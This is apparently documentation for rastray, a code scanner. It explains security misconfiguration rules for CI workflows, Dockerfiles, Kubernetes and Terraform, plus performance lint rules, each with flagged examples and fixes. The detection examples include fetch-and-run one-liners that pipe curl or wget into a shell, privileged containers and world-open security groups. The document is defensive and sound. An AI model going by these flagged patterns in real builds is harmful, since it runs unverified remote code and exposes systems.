
What rastray flags

- uses: actions/checkout@v4
  with:
    persist-credentials: true                       # ← flagged

Also fires on the implicit default when the workflow needs contents: write and you never set persist-credentials: false.

What rastray deliberately does not flag

  • Explicit persist-credentials: false.
  • Workflows that actually need to push (release workflows, doc deploys) — suppress per-line with a comment.

How to fix it

Set the option explicitly to false unless you need to push:

- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v6.0.3
  with:
    persist-credentials: false

For the rare workflow that does need to push, scope the token minimally with permissions: and document the exception:

permissions:
  contents: write

steps:
  # rastray-ignore: RSTR-GHA-005 — release workflow tags + pushes back to main
  - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v6.0.3
    with:
      persist-credentials: true

References

RSTR-IAC-001 — Dockerfile FROM <image>:latest (or untagged)

Summary

A Dockerfile FROM line references an image with the :latest tag or no tag at all (which defaults to :latest). Builds become non-reproducible — the same docker build produces a different image tomorrow than today — and a malicious or compromised upstream tag silently rolls into your build pipeline.

Severity

Medium. Reproducibility is the immediate concern; supply-chain substitution is the worst case.

Languages

Dockerfiles, Containerfiles, Dockerfile.* variants.

What rastray flags

FROM alpine:latest                                # ← flagged
FROM node                                          # ← flagged (defaults to :latest)
FROM ghcr.io/example/api:latest                    # ← flagged

What rastray deliberately does not flag

  • A specific semver tag: FROM alpine:3.20.
  • A digest pin: FROM alpine@sha256:....
  • scratch (no tag possible).

How to fix it

Pin to a specific tag for human readability, or to a digest for strict reproducibility:

FROM alpine:3.20            # tag pin — gets minor/patch updates
FROM alpine@sha256:beefbeef...   # digest pin — byte-exact every build

For multi-stage builds, the digest-pinning effort pays off where it matters most: the final runtime stage. Build stages can take the tag pin.

Renovate / Dependabot both understand the digest-pin convention and will keep the SHA up to date.

References

RSTR-IAC-002 — Dockerfile USER root

Summary

A Dockerfile sets USER root explicitly (or omits USER entirely) in the final stage, so the container's PID 1 — and every application process — runs as root. If anything inside the container escapes (kernel CVE, mounted-host volume, privileged docker socket), the attacker lands as root on the host.

Severity

High.

Languages

Dockerfiles, Containerfiles.

What rastray flags

FROM alpine:3.20
USER root                                          # ← flagged
CMD ["./server"]

What rastray deliberately does not flag

  • Final-stage USER nobody / USER 1001 / any non-root user.
  • Multi-stage builds where the builder stage uses root but the final runtime stage drops privileges.

How to fix it

Create a non-root user and switch to it in the runtime stage:

FROM alpine:3.20

RUN addgroup -S app && adduser -S app -G app
USER app

WORKDIR /home/app
COPY --chown=app:app . .
CMD ["./server"]

If you genuinely need root for an init step (writing to /etc, binding a privileged port), do that in a builder stage or via capabilities — not by leaving the runtime process as root:

# install root-only stuff in builder stage
FROM alpine:3.20 AS builder
RUN ...   # root operations

FROM alpine:3.20
USER app
COPY --from=builder /opt/app /opt/app

For privileged ports (<1024) in production, terminate at a load balancer / ingress and bind the app to a high port.

References

RSTR-IAC-003 — Dockerfile ADD <url>

Summary

Dockerfile ADD with a remote URL has two specific weaknesses relative to RUN curl:

  1. The downloaded blob has no integrity check — no checksum, no signature. If the upstream is compromised or DNS is poisoned, the build silently uses the substituted bytes.
  2. The fetch bypasses the build cache, so every layer build re-pulls.
  3. ADD historically followed redirects without warning; the destination is not what the Dockerfile reader sees.

Severity

Medium.

Languages

Dockerfiles, Containerfiles.

What rastray flags

ADD https://example.com/file.tar.gz /tmp/file.tar.gz   # ← flagged

What rastray deliberately does not flag

  • ADD ./local/path /dest (local copy — ADD's legitimate use alongside COPY).
  • COPY (in all forms).

How to fix it

Use RUN curl with --fail and an explicit checksum:

RUN curl -fsSL https://example.com/file.tar.gz -o /tmp/file.tar.gz \
    && echo 'deadbeef...  /tmp/file.tar.gz' | sha256sum -c -

Even better, build the artefact into a separate image or fetch it as part of the build context:

COPY ./vendored/file.tar.gz /tmp/file.tar.gz

References

RSTR-IAC-005 — chmod 777

Summary

A Dockerfile sets file or directory permissions to 777 (world-readable + world-writable + world-executable). Inside a container that's running as root anyway this is mostly cosmetic ("everything was already root-owned"), but the moment the runtime drops to a non-root user or a different container mounts the same volume, the 777 becomes an actual privilege grant to whichever process can reach the path.

It is essentially always wrong — the cases where 0755 (directories) or 0644 (files) is insufficient are rare enough that the rule fires for review.

Severity

High. Cheap to fix, common cause of real escalations when the container model later changes.

Languages

Dockerfiles, Containerfiles.

What rastray flags

RUN chmod 777 /var/app                            # ← flagged
RUN chmod -R 0777 /etc/secrets                    # ← flagged

What rastray deliberately does not flag

  • chmod 644, chmod 755, chmod +x, etc.
  • chmod on a path the rule cannot resolve to a real file.

How to fix it

Compute the actual minimum permissions:

  • Files: 0644 (or 0640 if a group should read).
  • Executables: 0755.
  • Directories: 0755 (or 0750).
  • Sensitive files (keys, env-files): 0600.
RUN chmod 0755 /var/app && chown app:app /var/app

If the issue is "writable by my non-root user", set ownership instead of broadening permissions:

RUN chown -R app:app /var/app

References

RSTR-IAC-006 — curl | sh pattern

Summary

A Dockerfile (or build script generally) pipes the output of curl straight into a shell: curl https://example.com/install.sh | sh. There is no integrity check on the bytes that the shell ends up executing. If the upstream is compromised, an attacker on the network can MITM, DNS gets poisoned, or TLS fails open for any other reason, the build silently runs whatever bytes arrived.

The pattern is convenient enough that vendors keep recommending it ("for the quickest install, run …"). Convenience does not change the threat model.

Severity

High.

Languages

Dockerfiles, Containerfiles.

What rastray flags

RUN curl -fsSL https://get.example.com | sh                   # ← flagged
RUN wget -qO- https://example.com/install.sh | bash           # ← flagged
RUN curl https://example.com/setup.py | python                # ← flagged

What rastray deliberately does not flag

  • Downloads written to a file and checksum-verified before execution.
  • Installs via the distro package manager (apt-get, apk, dnf) — those run their own signature verification.

How to fix it

Download, verify, then execute:

RUN curl -fsSL https://example.com/install.sh -o /tmp/install.sh \
    && echo 'deadbeef...  /tmp/install.sh' | sha256sum -c - \
    && sh /tmp/install.sh \
    && rm /tmp/install.sh

For tools you install regularly, vendor the installer into your repository and commit the checksum next to it — the chain of custody runs from your reviewers to the binary in one step.

If the vendor signs releases with GPG, prefer that:

RUN curl -fsSL https://example.com/install.sh -o /tmp/install.sh \
    && curl -fsSL https://example.com/install.sh.asc -o /tmp/install.sh.asc \
    && gpg --verify /tmp/install.sh.asc /tmp/install.sh \
    && sh /tmp/install.sh

References

RSTR-IAC-007 — privileged: true container

Summary

A Kubernetes PodSpec sets securityContext.privileged: true (or a container-level securityContext.privileged: true). A privileged container runs with the same effective capabilities as the host kernel: it can mount any filesystem, load kernel modules, talk to all devices under /dev, and reach into other containers' cgroups.

privileged: true is the kubernetes-equivalent of --privileged on a Docker run, and the same caveat applies: it is rarely the right answer, and when it is (host-level monitoring agent, CNI plugin, low-level GPU bring-up), the workload should be carved off into a dedicated node pool with its own RBAC.

Severity

High.

Languages

Kubernetes YAML manifests (Pod, Deployment, StatefulSet, DaemonSet, Job, CronJob, ReplicaSet, ReplicationController).

What rastray flags

apiVersion: v1
kind: Pod
metadata:
  name: app
spec:
  containers:
    - name: app
      image: app:1.0
      securityContext:
        privileged: true              # ← flagged
apiVersion: apps/v1
kind: Deployment
metadata:
  name: agent
spec:
  template:
    spec:
      containers:
        - name: agent
          image: agent:1.0
          securityContext:
            privileged: true          # ← flagged

What rastray deliberately does not flag

  • privileged: false (the default; explicit-false is a good signal in policy-as-code).
  • allowPrivilegeEscalation: true — separate concern, handled by policy admission controllers.

How to fix it

Drop the privileged: true and request only the specific Linux capabilities you actually need:

securityContext:
  capabilities:
    drop: ["ALL"]
    add: ["NET_BIND_SERVICE"]        # only what you need
  allowPrivilegeEscalation: false
  runAsNonRoot: true

If the workload genuinely needs host-level access (CSI driver, node-exporter, low-level networking), keep it on a dedicated node pool with PSA restricted enforcement on every other namespace, and review the pod spec at every release.

References

RSTR-IAC-008 — PodSpec shares a host namespace

Summary

A Kubernetes PodSpec sets one of hostNetwork: true, hostPID: true, or hostIPC: true. Each of these collapses one of the isolation boundaries between the container and the host:

flagwhat the pod now sees
hostNetworkthe node's network stack: every interface, every listening socket, the node's DNS config
hostPIDevery process on the node (and can signal them)
hostIPCthe node's System V IPC and POSIX shared-memory segments

Combined with a privileged container or a writable hostPath mount, any of these is a one-hop pivot from "compromise the pod" to "compromise the node".

Severity

High.

Languages

Kubernetes YAML manifests (any workload-bearing kind).

What rastray flags

apiVersion: v1
kind: Pod
metadata:
  name: net-tool
spec:
  hostNetwork: true                  # ← flagged
  containers:
    - name: tool
      image: net:1.0
spec:
  hostPID: true                      # ← flagged
spec:
  hostIPC: true                      # ← flagged

What rastray deliberately does not flag

  • hostNetwork: false / hostPID: false / hostIPC: false (the default).
  • hostname: <something> — different field entirely, no isolation impact.
  • hostAliases — appends to /etc/hosts, doesn't expand the blast radius.

How to fix it

Remove the host-namespace flag. Use a Service for incoming traffic, a SidecarContainer for log shipping, and a CSI driver for any shared-state needs.

If the workload genuinely requires host access (CNI plugin, node-local DNS, kube-proxy), document the threat model in the manifest comments, pin the workload to a dedicated node pool, and enforce restricted PSA in every other namespace.

References

RSTR-IAC-009 — S3 bucket with public ACL

Summary

A Terraform aws_s3_bucket (or aws_s3_bucket_acl) sets acl = "public-read" or acl = "public-read-write". Every object in the bucket is now readable (and, with the second form, writable) by every IPv4 address on the public internet.

Public buckets are the single most common AWS data-leak vector because the field is one line of HCL away from "private". AWS itself ships four separate guardrails to make it harder (Block Public Access settings, IAM analyzer, security-hub findings, bucket policy explicit-deny rules) — rastray is the same fence at the IaC layer.

Severity

High.

Languages

Terraform (.tf, .tfvars).

What rastray flags

resource "aws_s3_bucket" "assets" {
  bucket = "my-org-assets"
  acl    = "public-read"             # ← flagged
}
resource "aws_s3_bucket_acl" "assets" {
  bucket = aws_s3_bucket.assets.id
  acl    = "public-read-write"       # ← flagged
}

What rastray deliberately does not flag

  • acl = "private" (default).
  • acl = "authenticated-read" — limited to any AWS account, which is a separate (smaller) blast radius and is occasionally intentional for cross-account delivery.
  • acl = "bucket-owner-full-control" — required pattern for cross-account object writes.

How to fix it

  1. Switch the ACL to "private".

  2. If you need public delivery, front the bucket with CloudFront and an origin access identity:

    resource "aws_s3_bucket" "assets" {
      bucket = "my-org-assets"
      acl    = "private"
    }
    
    resource "aws_cloudfront_distribution" "cdn" {
      origin {
        domain_name = aws_s3_bucket.assets.bucket_regional_domain_name
        origin_id   = "s3-assets"
        s3_origin_config {
          origin_access_identity = aws_cloudfront_origin_access_identity.oai.cloudfront_access_identity_path
        }
      }
      # ...
    }
    
  3. Add aws_s3_bucket_public_access_block with all four flags set to true — it's a no-cost belt-and-braces:

    resource "aws_s3_bucket_public_access_block" "assets" {
      bucket                  = aws_s3_bucket.assets.id
      block_public_acls       = true
      block_public_policy     = true
      ignore_public_acls      = true
      restrict_public_buckets = true
    }
    

References

RSTR-IAC-010 — Security-group rule with 0.0.0.0/0

Summary

A Terraform security-group or network ACL rule sets cidr_blocks = ["0.0.0.0/0"]. The associated port is reachable from every IPv4 address on the public internet. When the rule covers an admin port (22 SSH, 3389 RDP, 5432 PostgreSQL, 3306 MySQL, 6379 Redis, 27017 Mongo, 9200 Elasticsearch, …), the blast radius is the entire service.

The pattern is convenient enough that examples in tutorials still ship with it. Convenience does not change the threat model.

Severity

Critical.

Languages

Terraform (.tf, .tfvars).

What rastray flags

resource "aws_security_group" "web" {
  name = "web"
  ingress {
    from_port   = 22
    to_port     = 22
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]        # ← flagged
  }
}
resource "aws_security_group_rule" "db" {
  type        = "ingress"
  from_port   = 5432
  to_port     = 5432
  protocol    = "tcp"
  cidr_blocks = ["0.0.0.0/0"]          # ← flagged
}

What rastray deliberately does not flag

  • cidr_blocks = ["10.0.0.0/8"] and similar RFC1918 ranges.
  • cidr_blocks = ["<office-cidr>"] — narrow public range, still intentional.
  • cidr_blocks = ["::/0"] (IPv6 equivalent — separate concern, handled by a future rule once IPv6 deployments are more common in real codebases).

How to fix it

  1. For admin ports (22, 3389), use SSM Session Manager / EC2 Instance Connect or a bastion. Never expose admin ports to the internet.

  2. For application ports, front the service with an ALB / API Gateway and tighten the security group to allow only the load balancer's security group:

    resource "aws_security_group_rule" "web" {
      type                     = "ingress"
      from_port                = 443
      to_port                  = 443
      protocol                 = "tcp"
      source_security_group_id = aws_security_group.alb.id
    }
    
  3. If a public endpoint is genuinely required, document the threat model in a comment next to the resource, and rely on the application's authentication layer to gate access.

References

RSTR-IAC-011 — publicly_accessible = true on a database

Summary

A Terraform aws_db_instance (or aws_rds_cluster_instance, aws_dms_replication_instance, aws_elasticache_*) sets publicly_accessible = true. The database receives a publicly routable endpoint and is reachable from any source allowed by its security group.

Combined with an over-broad security group (RSTR-IAC-010) this becomes "the database is on the internet"; even with a tight security group, every credential spray, every leaked password, and every cloud-credential leak gets one extra free attempt at the database directly.

Severity

High.

Languages

Terraform (.tf, .tfvars).

What rastray flags

resource "aws_db_instance" "prod" {
  identifier           = "prod"
  engine               = "postgres"
  instance_class       = "db.t3.medium"
  publicly_accessible  = true          # ← flagged
}
resource "aws_rds_cluster_instance" "writer" {
  cluster_identifier   = aws_rds_cluster.prod.id
  instance_class       = "db.r6g.large"
  publicly_accessible  = true          # ← flagged
}

What rastray deliberately does not flag

  • publicly_accessible = false (the default).
  • The presence of a public endpoint variable (endpoint, cluster_endpoint) — that's the resource's own DNS name, which resolves to a private IP unless publicly_accessible = true.

How to fix it

Set publicly_accessible = false and connect via private networking:

  • VPC peering or Transit Gateway for cross-VPC access inside the same AWS account / organisation.
  • AWS PrivateLink for SaaS-style cross-account access.
  • VPN / Direct Connect for on-prem access.
  • A bastion or SSM Session Manager for ad-hoc DBA access — never give the DBA team psql from their laptop straight to a public endpoint.
resource "aws_db_instance" "prod" {
  identifier           = "prod"
  engine               = "postgres"
  instance_class       = "db.t3.medium"
  publicly_accessible  = false
  db_subnet_group_name = aws_db_subnet_group.private.name
  vpc_security_group_ids = [aws_security_group.db.id]
}

References

RSTR-PERF-001 — Rust format! accumulator in a loop

Summary

A format!(...) macro is invoked inside a loop and the result is appended onto a String (via push_str or +=). Each iteration allocates a fresh temporary String, copies it onto the accumulator, then drops the temporary. Total allocations are O(n), total bytes copied are O(n²).

Severity

Medium. The wall-clock impact only shows up at loop counts in the thousands, but the fix is a one-line refactor and turns the algorithm from quadratic to linear.

Languages

Rust.

What rastray flags

#![allow(unused)]
fn main() {
let mut s = String::new();
for x in xs {
    s.push_str(&format!("{x},"));        // ← flagged
}
}
#![allow(unused)]
fn main() {
for line in lines {
    output += &format!("- {line}\n");     // ← flagged
}
}

What rastray deliberately does not flag

  • format! outside loops.
  • format! whose result is returned, stored, or passed elsewhere (not accumulated).
  • write!(&mut s, "...") — the safe replacement.

How to fix it

Write directly into the accumulator with write! from std::fmt::Write:

#![allow(unused)]
fn main() {
use std::fmt::Write;

let mut s = String::new();
for x in xs {
    write!(&mut s, "{x},").unwrap();   // unwrap is OK; String's Write impl never fails
}
}

For known capacity, pre-allocate:

#![allow(unused)]
fn main() {
let mut s = String::with_capacity(xs.len() * 4);
}

Combined, the loop runs in linear time with at most one realloc.

References

RSTR-PERF-002 — Rust for x in xs.clone()

Summary

A for loop iterates over xs.clone() (or xs.to_vec(), etc.). The clone walks the entire collection and allocates a new owned copy just for the iteration — wasted memory and wasted CPU. Borrowing &xs does the same job with zero allocations.

The clone is usually copy-paste from "I needed to satisfy the borrow checker once, then never revisited" or "the IDE auto-suggested .clone()."

Severity

Low. Correctness-neutral; the impact is purely overhead.

Languages

Rust.

What rastray flags

#![allow(unused)]
fn main() {
for item in items.clone() {      // ← flagged
    process(item);
}

for row in rows.to_vec() {       // ← flagged
    print(row);
}
}

What rastray deliberately does not flag

  • for item in &items / for item in items.iter() — borrowing.
  • for item in items where items: Vec<T> and the loop consumes items (moves) — the original cannot be used after the loop.
  • Clones followed by mutation: let mut copy = xs.clone(); copy.push(...) — clone is doing real work.

How to fix it

Borrow:

#![allow(unused)]
fn main() {
for item in &items {            // borrows; iteration over &T
    process(item);
}
}

If you need to consume the value but also keep the collection, clone inside the loop body for the specific elements that need it:

#![allow(unused)]
fn main() {
for item in &items {
    consumer.give(item.clone());   // clone only the elements consumer needs to own
}
}

References

RSTR-PERF-101 — await inside a loop

Summary

A for / while loop body awaits a Promise. Each iteration blocks until the previous one resolves, so N independent async calls take the sum of their latencies instead of the maximum. The loop is effectively serial despite the async machinery.

Promise.all (or Promise.allSettled) parallelizes them.

Severity

Medium. The wall-clock difference is often 5×-20× for I/O loops.

Languages

JavaScript, TypeScript.

What rastray flags

const results = [];
for (const id of ids) {
    results.push(await fetch(`/items/${id}`));     // ← flagged
}
while (hasMore) {
    const page = await api.next();                  // ← flagged
    pages.push(page);
}

What rastray deliberately does not flag

  • Sequential awaits outside a loop.
  • Loops where the result of iteration N is the input to iteration N+1 (the loop is genuinely sequential by design).
  • Rate-limited iteration where serialization is intentional — suppress with a comment explaining the limit.

How to fix it

Map → Promise.all:

const results = await Promise.all(
    ids.map(id => fetch(`/items/${id}`))
);

For partial-failure tolerance:

const results = await Promise.allSettled(
    ids.map(id => fetch(`/items/${id}`))
);
const ok    = results.filter(r => r.status === 'fulfilled').map(r => r.value);
const fail  = results.filter(r => r.status === 'rejected');

For genuinely long lists, batch:

const out = [];
for (let i = 0; i < ids.length; i += 10) {
    const batch = ids.slice(i, i + 10);
    out.push(...await Promise.all(batch.map(id => fetch(`/items/${id}`))));
}

References

RSTR-PERF-102 — new Date() inside a loop

Summary

new Date() allocates a Date object whose only use is usually getTime() or comparison. Doing it per iteration is gratuitous allocation; Date.now() returns the milliseconds directly without the object, and any of the comparisons/arithmetic you might want to do work on the number.

If the Date itself is needed (formatting, locale), hoist it out of the loop.

Severity

Low. Pure overhead; matters at hot-path scale.

Languages

JavaScript, TypeScript.

What rastray flags

for (const x of xs) {
    const t = new Date();                // ← flagged
    log(x, t.getTime());
}

What rastray deliberately does not flag

  • Date.now() calls.
  • new Date(value) with an argument — that's a parse / construction that genuinely needs the constructor.
  • Construction outside the loop.

How to fix it

// Need only the timestamp?
for (const x of xs) {
    log(x, Date.now());
}
// Need the Date for formatting? Hoist it if loop-invariant:
const now = new Date();
for (const x of xs) {
    log(x, now.toISOString());
}

If you really need a fresh Date per iteration (rare — you almost always want a single "now" for the entire batch), Date.now() plus a single new Date(ts) at the end is cheaper.

References

RSTR-PERF-201 — Python s += '...' inside a loop

Summary

Python strings are immutable. s += chunk inside a loop creates a fresh string of length |s| + |chunk| each iteration, so the loop is O(n²) in the total output length.

CPython has an opportunistic optimisation that sometimes mutates the string in place when the reference count is 1, but it's implementation-specific and disappears the moment another reference takes a peek (logging, debugger, intermediate assignment). The explicit-list-and-join form is reliably linear.

Severity

Medium.

Languages

Python.

What rastray flags

out = ''
for line in lines:
    out += line + '\n'                   # ← flagged

What rastray deliberately does not flag

  • out = '\n'.join(lines).
  • Numeric +=.
  • Concat outside loops.

How to fix it

Collect into a list and join once:

parts = []
for line in lines:
    parts.append(line + '\n')
out = ''.join(parts)

Or use an io.StringIO for explicit incremental writes:

import io

buf = io.StringIO()
for line in lines:
    buf.write(line)
    buf.write('\n')
out = buf.getvalue()

Both forms are O(n).

References

RSTR-PERF-202 — time.sleep() inside an async def

Summary

time.sleep() is a blocking call. Inside an async def, it blocks the entire event loop for the duration — every other coroutine that should be making progress (HTTP clients, DB pools, background tasks) stops as well. The cooperative-scheduler contract requires every "wait" to go through await.

Severity

High. The bug looks innocuous and the unit test still passes, but production throughput collapses because the loop spends N×sleep_time not doing anything.

Languages

Python.

What rastray flags

async def poll():
    while True:
        check_status()
        time.sleep(5)                    # ← flagged

What rastray deliberately does not flag

  • time.sleep() in regular def functions (synchronous code; fine).
  • await asyncio.sleep(...) — the correct form.
  • await trio.sleep(...), await anyio.sleep(...).

How to fix it

Replace with asyncio.sleep:

import asyncio

async def poll():
    while True:
        check_status()
        await asyncio.sleep(5)

If the sleep is buried in a synchronous library call you cannot modify, run that call in a thread executor so it doesn't block the loop:

import asyncio

async def call_blocking():
    loop = asyncio.get_running_loop()
    return await loop.run_in_executor(None, blocking_thing)

References

RSTR-PERF-301 — defer inside a for loop

Summary

Go's defer runs at function return, not loop iteration. A defer inside a for body accumulates on the function's defer stack — every iteration pushes a new entry, and nothing pops them until the enclosing function returns. For long-running loops over file handles or DB rows, that means resources stay held for the whole loop, not just the iteration that opened them.

Severity

Medium. Resource exhaustion (file descriptors, DB connections) is the usual failure mode.

Languages

Go.

What rastray flags

for _, path := range paths {
    f, err := os.Open(path)
    if err != nil { return err }
    defer f.Close()                       // ← flagged
    ...
}

What rastray deliberately does not flag

  • defer at function scope.
  • defer inside an immediately-invoked closure inside the loop (which scopes the defer to the closure, not the function).

How to fix it

Option 1 — wrap the loop body in a closure (or named function) so defer fires per iteration:

for _, path := range paths {
    if err := func() error {
        f, err := os.Open(path)
        if err != nil { return err }
        defer f.Close()
        return process(f)
    }(); err != nil {
        return err
    }
}

Option 2 — close explicitly inside the loop:

for _, path := range paths {
    f, err := os.Open(path)
    if err != nil { return err }
    err = process(f)
    f.Close()
    if err != nil { return err }
}

The closure form is more idiomatic for clean-up that involves multiple defers (close + unlock + commit).

References

RSTR-PERF-302 — fmt.Sprintf inside a for loop

Summary

fmt.Sprintf builds a fresh string per call. Inside a loop that concatenates onto a growing buffer, the allocation churn dominates the loop. strings.Builder reuses an internal byte slice and lets fmt.Fprintf write directly into it.

Severity

Low. Not a correctness issue; meaningful only on hot paths.

Languages

Go.

What rastray flags

for _, x := range xs {
    out += fmt.Sprintf("%d,", x)         // ← flagged
}

What rastray deliberately does not flag

  • fmt.Sprintf outside loops.
  • strings.Builder usage with fmt.Fprintf(&b, ...).

How to fix it

var b strings.Builder
b.Grow(len(xs) * 4)              // optional, but often a clear win
for _, x := range xs {
    fmt.Fprintf(&b, "%d,", x)
}
out := b.String()

If the format is a simple separator and the elements are already strings, strings.Join is even shorter:

out := strings.Join(strs, ",")

References